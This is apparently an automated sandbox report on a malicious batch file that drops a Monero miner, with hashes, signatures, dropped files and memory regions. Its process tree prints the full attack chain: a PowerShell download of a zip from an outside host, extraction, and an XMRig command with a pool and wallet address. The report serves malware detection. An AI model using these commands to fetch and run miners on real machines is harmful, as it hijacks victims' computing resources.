Analysis

  • max time kernel
    1821s
  • max time network
    1833s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231020-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231020-enlocale:en-usos:windows10-2004-x64system
  • submitted
    21/10/2023, 19:04

General

  • Target

    tesy - Copy (13).bat

  • Size

    702B

  • MD5

    65f016a2abe40d2902c7032438a14bd7

  • SHA1

    b3537668ca1bb826e5085aee38b3f7ec654d606e

  • SHA256

    153b384b64bd371e0236c8497c9706db00cc102f068ea8fd4569d20b3b5a6fd8

  • SHA512

    b52486cdc585277de12287b4b2ab17c9e401bfeaee78555fd6d8760d7954b4e361f6e3ec32e4d694ba2cfa69d3d843d0f192539f0c893500b801c05a13b488f7

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://cdn.nest.rip/uploads/e341541c-6dbc-49ac-8012-0432383c9453.zip

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (13).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3976
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://cdn.nest.rip/uploads/e341541c-6dbc-49ac-8012-0432383c9453.zip', 'test.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4120
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'test.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2168
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /K start.cmd
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1164
      • C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\xmrig.exe
        xmrig.exe --coin=XMR -o xmr.2miners.com:2222 -u 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ.TRI -p x
        3⤵
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        PID:4040

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    2KB

    MD5

    65d233b0b0a518aeb3b0dcf1e1bed606

    SHA1

    51276cbc782ab690c577fec8fff87fb0ebb38fbc

    SHA256

    38400f70d7057dc3ac450b36ea385d867c8fb64340505f2033e84c0917acd449

    SHA512

    7ac47cf8132aba101f347565fd524075a3e3d4b8c413d2da6be05fbd057790c69057215844ef83db3266148e60c85e8ba4a2e1b99d5808b6c5bbc46e1102a505

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    845a9d3babaf02cd90a1cf9cbcbc87be

    SHA1

    f7655f629c9bc27106cbf71bb9e01dacdfb2c8ae

    SHA256

    68dea6518d6ab037d56315967a227c7ad35c31cc3a0bb8561051368fece87a6d

    SHA512

    bcaa4b5cc819848ba6031543578048e16e176a7b5268a85ae33b90243016cd3c614e36ab227e1800d47623bbfc3b21a23474af0faa977d7a1a6fc3a2acef3aea

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_pjc1tlbo.aqt.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Local\Temp\test.zip

    Filesize

    3.2MB

    MD5

    3238c0d25d84b6f0bb645bbb29cdbf61

    SHA1

    11ae550c8a82c0793862c366b92072ad7e18befe

    SHA256

    b7a3d27640d4a7403c306a61996d604f28c44c2267eb9d60ed770ad40b3b5dfb

    SHA512

    d5c3e51f36b05ed6b66d501936fc771b712929fa9cdcb3e784d64e018ce4f081cead7a80c48504ced2f7b375bdcc94e147be1fc4e566af45ddaeb60389dee556

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\start.cmd

    Filesize

    170B

    MD5

    78657df2e34e338ff135d3dde69177bf

    SHA1

    d5048a4270b7ba599e941d26d61bfa2e8da31fce

    SHA256

    9004d356a2f71e3abd655983967aa597e81a8133069ee8bcef04f6ed0b36ae98

    SHA512

    f05cd30046793f60d8afd61b0a83f53d0c8e2889a03cbace1b199de181257771d257ab47f29effd1084c196eba9454ccdd97715e6f1062c079f4087685bd7004

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\xmrig.exe

    Filesize

    7.9MB

    MD5

    4813fa6d610e180b097eae0ce636d2aa

    SHA1

    1e9cd17ea32af1337dd9a664431c809dd8a64d76

    SHA256

    9ef2e8714e85dcd116b709894b43babb4a0872225ae7363152013b7fd1bc95bc

    SHA512

    5463e61b9583dd7e73fc4c0f14252ce06bb1b24637fdf5c4b96b3452cf486b147c980e365ca6633d89e7cfe245131f528a7ecab2340251cef11cdeb49dac36aa

  • memory/2168-27-0x00007FFD21DE0000-0x00007FFD228A1000-memory.dmp

    Filesize

    10.8MB

  • memory/2168-28-0x0000025BF8E60000-0x0000025BF8E70000-memory.dmp

    Filesize

    64KB

  • memory/2168-29-0x0000025BF8E60000-0x0000025BF8E70000-memory.dmp

    Filesize

    64KB

  • memory/2168-31-0x0000025BF8DD0000-0x0000025BF8DE2000-memory.dmp

    Filesize

    72KB

  • memory/2168-32-0x0000025BE0B90000-0x0000025BE0B9A000-memory.dmp

    Filesize

    40KB

  • memory/2168-41-0x00007FFD21DE0000-0x00007FFD228A1000-memory.dmp

    Filesize

    10.8MB

  • memory/4040-75-0x00007FF6DEBB0000-0x00007FF6DF6B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4040-82-0x00007FF6DEBB0000-0x00007FF6DF6B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4040-47-0x0000018B3D8A0000-0x0000018B3D8E0000-memory.dmp

    Filesize

    256KB

  • memory/4040-48-0x00007FF6DEBB0000-0x00007FF6DF6B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4040-49-0x0000018B3D8E0000-0x0000018B3D900000-memory.dmp

    Filesize

    128KB

  • memory/4040-50-0x0000018B3D900000-0x0000018B3D920000-memory.dmp

    Filesize

    128KB

  • memory/4040-51-0x00007FF6DEBB0000-0x00007FF6DF6B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4040-52-0x0000018B3D8E0000-0x0000018B3D900000-memory.dmp

    Filesize

    128KB

  • memory/4040-53-0x0000018B3D900000-0x0000018B3D920000-memory.dmp

    Filesize

    128KB

  • memory/4040-54-0x00007FF6DEBB0000-0x00007FF6DF6B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4040-55-0x00007FF6DEBB0000-0x00007FF6DF6B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4040-56-0x00007FF6DEBB0000-0x00007FF6DF6B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4040-57-0x00007FF6DEBB0000-0x00007FF6DF6B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4040-58-0x00007FF6DEBB0000-0x00007FF6DF6B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4040-59-0x00007FF6DEBB0000-0x00007FF6DF6B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4040-60-0x00007FF6DEBB0000-0x00007FF6DF6B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4040-61-0x00007FF6DEBB0000-0x00007FF6DF6B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4040-62-0x00007FF6DEBB0000-0x00007FF6DF6B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4040-63-0x00007FF6DEBB0000-0x00007FF6DF6B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4040-64-0x00007FF6DEBB0000-0x00007FF6DF6B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4040-65-0x00007FF6DEBB0000-0x00007FF6DF6B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4040-66-0x00007FF6DEBB0000-0x00007FF6DF6B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4040-67-0x00007FF6DEBB0000-0x00007FF6DF6B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4040-68-0x00007FF6DEBB0000-0x00007FF6DF6B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4040-69-0x00007FF6DEBB0000-0x00007FF6DF6B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4040-70-0x00007FF6DEBB0000-0x00007FF6DF6B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4040-71-0x00007FF6DEBB0000-0x00007FF6DF6B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4040-72-0x00007FF6DEBB0000-0x00007FF6DF6B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4040-73-0x00007FF6DEBB0000-0x00007FF6DF6B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4040-74-0x00007FF6DEBB0000-0x00007FF6DF6B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4040-45-0x0000018B3D850000-0x0000018B3D870000-memory.dmp

    Filesize

    128KB

  • memory/4040-76-0x00007FF6DEBB0000-0x00007FF6DF6B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4040-77-0x00007FF6DEBB0000-0x00007FF6DF6B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4040-78-0x00007FF6DEBB0000-0x00007FF6DF6B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4040-79-0x00007FF6DEBB0000-0x00007FF6DF6B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4040-80-0x00007FF6DEBB0000-0x00007FF6DF6B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4040-81-0x00007FF6DEBB0000-0x00007FF6DF6B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4040-46-0x00007FF6DEBB0000-0x00007FF6DF6B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4040-83-0x00007FF6DEBB0000-0x00007FF6DF6B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4040-84-0x00007FF6DEBB0000-0x00007FF6DF6B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4040-85-0x00007FF6DEBB0000-0x00007FF6DF6B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4040-86-0x00007FF6DEBB0000-0x00007FF6DF6B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4040-87-0x00007FF6DEBB0000-0x00007FF6DF6B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4040-88-0x00007FF6DEBB0000-0x00007FF6DF6B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4040-89-0x00007FF6DEBB0000-0x00007FF6DF6B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4040-90-0x00007FF6DEBB0000-0x00007FF6DF6B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4040-91-0x00007FF6DEBB0000-0x00007FF6DF6B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4040-92-0x00007FF6DEBB0000-0x00007FF6DF6B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4040-93-0x00007FF6DEBB0000-0x00007FF6DF6B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4040-94-0x00007FF6DEBB0000-0x00007FF6DF6B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4040-95-0x00007FF6DEBB0000-0x00007FF6DF6B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4040-96-0x00007FF6DEBB0000-0x00007FF6DF6B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4040-97-0x00007FF6DEBB0000-0x00007FF6DF6B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4040-98-0x00007FF6DEBB0000-0x00007FF6DF6B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4040-99-0x00007FF6DEBB0000-0x00007FF6DF6B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4040-100-0x00007FF6DEBB0000-0x00007FF6DF6B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4040-101-0x00007FF6DEBB0000-0x00007FF6DF6B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4040-102-0x00007FF6DEBB0000-0x00007FF6DF6B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4040-103-0x00007FF6DEBB0000-0x00007FF6DF6B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4040-104-0x00007FF6DEBB0000-0x00007FF6DF6B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4040-105-0x00007FF6DEBB0000-0x00007FF6DF6B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4040-106-0x00007FF6DEBB0000-0x00007FF6DF6B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4040-107-0x00007FF6DEBB0000-0x00007FF6DF6B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4040-108-0x00007FF6DEBB0000-0x00007FF6DF6B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4040-109-0x00007FF6DEBB0000-0x00007FF6DF6B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4040-110-0x00007FF6DEBB0000-0x00007FF6DF6B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4040-111-0x00007FF6DEBB0000-0x00007FF6DF6B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4040-112-0x00007FF6DEBB0000-0x00007FF6DF6B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4040-113-0x00007FF6DEBB0000-0x00007FF6DF6B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4120-9-0x000002C8ABE40000-0x000002C8ABE62000-memory.dmp

    Filesize

    136KB

  • memory/4120-10-0x00007FFD21DC0000-0x00007FFD22881000-memory.dmp

    Filesize

    10.8MB

  • memory/4120-11-0x000002C8A9C90000-0x000002C8A9CA0000-memory.dmp

    Filesize

    64KB

  • memory/4120-12-0x000002C8A9C90000-0x000002C8A9CA0000-memory.dmp

    Filesize

    64KB

  • memory/4120-16-0x00007FFD21DC0000-0x00007FFD22881000-memory.dmp

    Filesize

    10.8MB